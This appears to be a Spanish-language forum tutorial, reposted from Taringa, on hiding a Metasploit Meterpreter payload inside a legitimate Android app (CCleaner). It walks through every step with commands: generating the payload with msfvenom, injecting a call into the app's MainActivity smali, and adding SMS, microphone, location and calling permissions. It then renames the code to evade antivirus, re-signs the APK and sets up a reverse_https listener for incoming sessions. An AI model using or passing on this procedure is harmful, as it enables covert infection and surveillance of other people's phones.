un APK es un paquete de aplicación de Android (Android Aplication Package) y que es como un .exe de Windows que contiene la aplicación y el instalador en el mismo paquete.
(https://k60.kn3.net/taringa/4/1/F/5/3/6/niqqo_18/3BD.png)
Lo que vamos a ver hacer es desempaquetar un .apk, y luego modificarlo añadiendo un payload generado por metasploit. Una vez construyamos ese paquete lo instalamos en un dispositivo Android haciendo que se ejecute la app legítima y a la vez nuestro payload dejando infectado el dispositivo Android.
Para empezar generamos el payload para Android con msf:
msfvenom -p android/meterpreter/Payload_Type LHOST=(TU IP) LPORT=(PUERTO) -o meterpreter.apk
(https://k60.kn3.net/taringa/7/9/B/F/6/6/niqqo_18/271.png)
Luego nos descargamos una apk legítima como por ejemplo 'ccleaner' y decompilamos las dos con apktool:
apktool d -f -o payload meterpreter.apk
apktool d -f -o original ccleaner.apk
(https://k60.kn3.net/taringa/0/8/D/B/5/3/niqqo_18/9B4.png)
Copiamos la carpeta metasploit desde /payload/smali/com/metasploit a /original/smali/com/piriform
(https://k60.kn3.net/taringa/3/5/8/D/2/4/niqqo_18/0A5.png)
Nos vamos la carpeta ./original/ y editamos AndroidManifest.xml (con vim o el editor que queráis)
(https://k60.kn3.net/taringa/2/F/0/C/3/D/niqqo_18/FDD.png)
Buscamos las líneas siguientes que nos servirán como guía para encontrar la ruta a la aplicación principal que es la que nosotros queremos modificar:
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
Encima de éstas, encapsulándolas habrá una etiqueta <activity
Nos fijamos en la propiedad Android:name= de esta etiqueta que tendrá una estructura similar a
"com.piriform.ccleaner.ui.activity.MainActivity"(https://k60.kn3.net/taringa/A/2/7/5/3/6/niqqo_18/B9B.png)
Por tanto, ya sabemos el fichero que tenemos que editar de nuestra app legitima (dentro de ./original/smali/), nos vamos a este fichero que será algoparecido a "com/piriform/ccleaner/ui/activity/MainActivity.smali" , es decir, por cada "." Será una "/".
Editamos este fichero .smali y buscamos la línea:
;->onCreate(Landroid/os/Bundle; )V
En la siguiente línea a esta ponemos:
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context; )V
Donde le indicamos que invoque nuestra app que en este caso es el Payload de msf y después continúe con la ejecución normal de la app legitima
(https://k60.kn3.net/taringa/4/B/A/F/0/7/niqqo_18/424.png)
(https://k60.kn3.net/taringa/C/3/6/2/3/C/niqqo_18/18D.png)
Ahora vamos a añadir más permisos a esta app de los que tiene, nos vamos dentro del directorio de la aplicación
./original/ y modificamos el
AndoridManifest.xml(https://k60.kn3.net/taringa/F/4/0/2/C/A/niqqo_18/832.png)
Añadiremos los permisos que consideremos, en mi caso puse estos:
<uses-permission android:name="android.permission.ACCESS_COURSE_LOCATION"/>
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
Si lo que queremos es ponérselo mas difícil a un antivirus que tuviera el móvil/Tablet podemos hacer lo siguiente dentro del directorio (Esto es opcional) ./original/smali/com/metasploit
sed -i 's/metasploit/conf-schema/g' `rgrep -r metasploit ./* | awk '{print $1}' | cut -d':' -f1`
sed -i 's/Payload/init-conf' `rgrep -r Payload ./* | awk '{print $1}' | cut -d':' -f1`
sed -i 's/payload/init-conf' `rgrep -r payload ./* | awk '{print $1}' | cut -d':' -f1`
Después de eso debemos de cambiar el fichero
Payload.smali por
init-config.smal(https://k60.kn3.net/taringa/1/7/B/8/0/5/niqqo_18/597.png)
también cambiamos el nombre de
/original/smali/com/piriform/metasploit a
/original/smali/com/piriform/conf-schema, además de todo eso deberemos de cambiar la línea
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
que hemos puesto antes con el nombre correspondiente:
invoke-static {p0}, Lcom/conf-scheme/stage/init-conf;->start(Landroid/content/Context;)V
yo he puesto estos nombres pero podéis poner lo que queráis, ahora vamos a recompilar otra vez la app, hacemos:
apktool b original/A continuación comenzará a construir nuestra app.
(https://k60.kn3.net/taringa/2/E/3/6/3/E/niqqo_18/2C4.png)
Dentro del directorio
./original/dist estará nuestra apk construida/compilada.
Ahora toca firmar la apk para que esta sea "legitima" por tanto creamos en nuestro home el directorio .android
mkdir ~/.androidGeneramos la key para firmar con:
keytool -genkey -v -keystore ~/.android/debug.keystore -storepass android -alias androiddebugkey -keypass android -dname "CN=Android Debug,O=Android,C=US"Para firmar con esa firma hacemos:
jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg SHA1withDSA /home/xarly/original/dist/ccleaner-v1-17-66.apk androiddebugkeyAhora nos queda dejar a la escucha el metasploit con:
msfconsole
use exploit/multi/handler
set Payload android/meterpreter/reverse_https
set LHOST 192.168.1.135
set LPORT 8181
set ExitOnSession False
exploit -j -z
Ejecutamos la app en el móvil:
(https://ugc.kn3.net/i/origin/https://3.bp.blogspot.com/-e1zbnkHhI7g/WGLqJFoGZuI/AAAAAAAABZQ/-NRCZHZKDKcb6bUsWDlC1iLEFmSrEm2_QCLcB/s1600/Picture13.png)
(https://k60.kn3.net/taringa/7/A/4/9/8/7/niqqo_18/4D2.png)
(https://k60.kn3.net/taringa/2/5/D/F/8/4/niqqo_18/7B8.png)
(https://k60.kn3.net/taringa/D/7/E/1/6/9/niqqo_18/761.png)
(https://k60.kn3.net/taringa/2/6/1/1/4/D/niqqo_18/AC2.png)
Deberíamos ver como se conecta nuestro meterpreter.
Nota: puede que nos pida que habilitemos las opciones de orígenes desconocidos.
Autor: niqqo_18
Fuente: taringa.net/posts/ebooks-tutoriales/19715978/HACKEAR-ANDROID-Esconder-un-payload-en-cualquier-APK.html
sirve para apks viejas, ahora ya no se pueden descompilar tan facil por la cuestion de la firma que google obliga a poner para subirla, por ejemplo apps hechas con android studio ultima version ya no se descompilan